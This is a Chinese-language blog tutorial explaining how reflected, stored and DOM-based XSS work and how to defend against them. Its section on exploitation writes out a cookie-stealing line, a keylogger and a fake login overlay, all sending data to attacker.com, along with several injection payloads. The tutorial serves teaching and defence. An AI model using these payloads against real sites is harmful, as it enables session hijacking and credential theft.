您现在的位置是:网站首页 > XSS 攻击的基本原理文章详情

XSS 攻击的基本原理

XSS攻击的定义与分类

XSS(Cross-Site Scripting)是一种将恶意脚本注入到可信网站中的攻击方式。攻击者通过在网页中插入恶意代码,当其他用户访问该页面时,这些代码会在用户浏览器中执行。根据攻击方式的不同,XSS主要分为三类:

  1. 反射型XSS:恶意脚本作为请求的一部分发送到服务器,然后服务器将脚本"反射"回响应中
  2. 存储型XSS:恶意脚本被永久存储在目标服务器上(如数据库)
  3. DOM型XSS:漏洞存在于客户端代码中,不涉及服务器响应

反射型XSS的工作原理

反射型XSS是最常见的类型,通常通过URL参数传递恶意脚本。攻击者构造一个包含恶意代码的特殊链接,诱骗用户点击。

// 假设网站有一个搜索功能,将搜索词显示在结果页面上
// 不安全的实现方式:
const searchTerm = new URL(location.href).searchParams.get('q');
document.getElementById('results').innerHTML = `您搜索的是: ${searchTerm}`;

// 攻击者可以构造这样的URL:
// https://example.com/search?q=<script>alert('XSS')</script>

当用户访问这个URL时,恶意脚本就会在用户浏览器中执行。这种攻击需要诱使用户点击恶意链接,通常通过钓鱼邮件或社交工程手段传播。

存储型XSS的持久性威胁

存储型XSS比反射型更危险,因为恶意代码被保存在服务器上,所有访问受影响页面的用户都会中招。常见于用户可提交内容的场景,如论坛评论、用户资料等。

// 不安全的评论系统实现
app.post('/comment', (req, res) => {
  const { content } = req.body;
  // 直接将用户输入存入数据库
  db.saveComment(content); 
  res.redirect('/post');
});

// 前端渲染评论时不转义
app.get('/post', (req, res) => {
  const comments = db.getComments();
  res.send(`
    <div class="comments">
      ${comments.map(c => `<div>${c.content}</div>`).join('')}
    </div>
  `);
});

// 攻击者提交这样的评论:
// <script>stealCookies()</script>

DOM型XSS的客户端漏洞

DOM型XSS完全在客户端发生,不涉及服务器响应。当JavaScript不当地使用用户可控的数据修改DOM时,就可能产生这种漏洞。

// 不安全的DOM操作
const hash = location.hash.substring(1);
document.getElementById('panel').innerHTML = hash;

// 攻击者可以构造这样的URL:
// https://example.com/#<img src=x onerror=alert(1)>

这种XSS更难检测,因为服务器日志中看不到恶意代码,所有操作都在客户端完成。

XSS攻击的常见利用方式

攻击者利用XSS可以实现多种恶意操作:

  1. 窃取Cookie:获取用户的会话标识
// 窃取Cookie的典型代码
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;
  1. 键盘记录:监听用户的键盘输入
// 键盘记录示例
document.addEventListener('keypress', (e) => {
  fetch('https://attacker.com/log', {
    method: 'POST',
    body: `key=${e.key}`
  });
});
  1. 钓鱼攻击:伪造登录表单
// 伪造登录表单
document.body.innerHTML = `
  <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999">
    <form style="margin:100px auto;width:300px" action="https://attacker.com/phish">
      <h2>您的会话已过期</h2>
      <input type="text" placeholder="用户名">
      <input type="password" placeholder="密码">
      <button>重新登录</button>
    </form>
  </div>
`;

防御XSS攻击的关键措施

输入验证与过滤

对所有用户输入进行严格的验证和过滤:

// 使用DOMPurify库净化HTML
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = clean;

输出编码

根据输出上下文使用不同的编码方式:

// HTML实体编码
function encodeHTML(str) {
  return str.replace(/[&<>'"]/g, 
    tag => ({
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      "'": '&#39;',
      '"': '&quot;'
    }[tag]));
}

// 在HTML属性中使用
const userData = encodeHTML(attackerControlled);
element.setAttribute('data-value', userData);

使用CSP策略

内容安全策略(CSP)可以限制脚本执行:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

安全的DOM操作

避免使用不安全的DOM操作方法:

// 安全的方式 - 使用textContent而不是innerHTML
document.getElementById('output').textContent = userInput;

// 使用安全的API创建元素
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);

现代前端框架的XSS防护

现代框架如React、Vue和Angular都内置了XSS防护机制:

// React自动转义内容
function Component({ userInput }) {
  return <div>{userInput}</div>; // 自动转义
}

// 只有明确使用dangerouslySetInnerHTML才会渲染HTML
function UnsafeComponent({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// Vue的模板语法也自动转义
new Vue({
  template: `<div>{{ userInput }}</div>` // 自动转义
});

// 使用v-html指令才会渲染原始HTML
new Vue({
  template: `<div v-html="userHtml"></div>`
});

XSS攻击的进阶变种

基于SVG的XSS

SVG文件可以包含JavaScript代码:

<!-- 恶意SVG文件示例 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>

防御方法:上传SVG时应移除所有脚本相关属性,或转换为其他格式。

基于CSS的XSS

某些CSS特性可以执行JavaScript:

/* 通过CSS expression执行代码(仅旧版IE) */
body {
  color: expression(alert('XSS'));
}

/* 现代浏览器中的CSS注入 */
div[style*="background-image: url(javascript:alert(1))"] {
  width: 100px;
}

防御方法:过滤用户控制的CSS内容,使用CSP限制内联样式。

基于Markdown的XSS

Markdown可以包含HTML,导致XSS风险:

[正常链接](https://example.com)

[恶意链接](javascript:alert('XSS'))

![正常图片](image.png)

![恶意图片](x" onerror="alert('XSS'))

防御方法:使用严格的Markdown解析器,禁用原始HTML或进行净化处理。

实际案例分析

案例1:社交媒体资料XSS

某社交平台允许用户在个人资料中使用HTML,但未正确过滤:

// 攻击者在"工作经历"字段注入
const payload = `
  <style>
    @keyframes xss {
      from { background-image: url('https://attacker.com/start'); }
      to { background-image: url('https://attacker.com/end'); }
    }
  </style>
  <div style="animation: xss 1s infinite;"></div>
`;

这种攻击可以绕过简单的脚本过滤,通过CSS动画持续向攻击者服务器发送请求。

案例2:电子商务网站价格注入

某电商网站的产品页面从URL参数获取折扣信息:

const discount = new URLSearchParams(location.search).get('discount');
document.write(`<span class="discount">${discount}% OFF!</span>`);

攻击者构造URL:?discount=<script>stealPaymentInfo()</script>,当客服人员查看此链接时,恶意代码就会执行。

自动化测试与漏洞扫描

使用工具检测XSS漏洞

  1. OWASP ZAP:自动化安全测试工具
  2. Burp Suite:拦截代理和漏洞扫描器
  3. XSS Hunter:检测盲XSS漏洞的服务

编写自动化测试用例

// 使用Jest测试XSS防护
describe('XSS Protection', () => {
  test('should escape HTML in user input', () => {
    const malicious = '<script>alert(1)</script>';
    const safe = escapeHTML(malicious);
    expect(safe).not.toContain('<script>');
    expect(safe).toContain('&lt;script&gt;');
  });

  test('should sanitize SVG uploads', () => {
    const svg = '<svg onload="alert(1)"></svg>';
    const clean = sanitizeSVG(svg);
    expect(clean).not.toContain('onload');
  });
});

浏览器安全机制与XSS

HttpOnly Cookie标志

Set-Cookie: sessionId=abc123; HttpOnly; Secure

设置HttpOnly后,JavaScript无法通过document.cookie读取该Cookie,防止被XSS窃取。

SameSite Cookie属性

Set-Cookie: sessionId=abc123; SameSite=Strict; Secure

SameSite属性可以阻止跨站请求伪造(CSRF)攻击,间接减少XSS的影响范围。

Trusted Types API

// 启用Trusted Types策略
Content-Security-Policy: require-trusted-types-for 'script';

// 创建可信类型策略
if (window.trustedTypes && trustedTypes.createPolicy) {
  const escapePolicy = trustedTypes.createPolicy('escapePolicy', {
    createHTML: input => input.replace(/</g, '&lt;')
  });
}

// 使用策略
element.innerHTML = escapePolicy.createHTML(userInput);

Trusted Types强制开发者在赋值给危险sink前显式处理内容,从根本上防止XSS。

我的名片

网名:~川~

岗位:console.log 调试员

坐标:重庆市-九龙坡区

邮箱:cc@qdcc.cn

沙漏人生

站点信息

  • 建站时间:2013/03/16
  • 本站运行
  • 文章数量
  • 总访问量
微信公众号
每次关注
都是向财富自由迈进的一步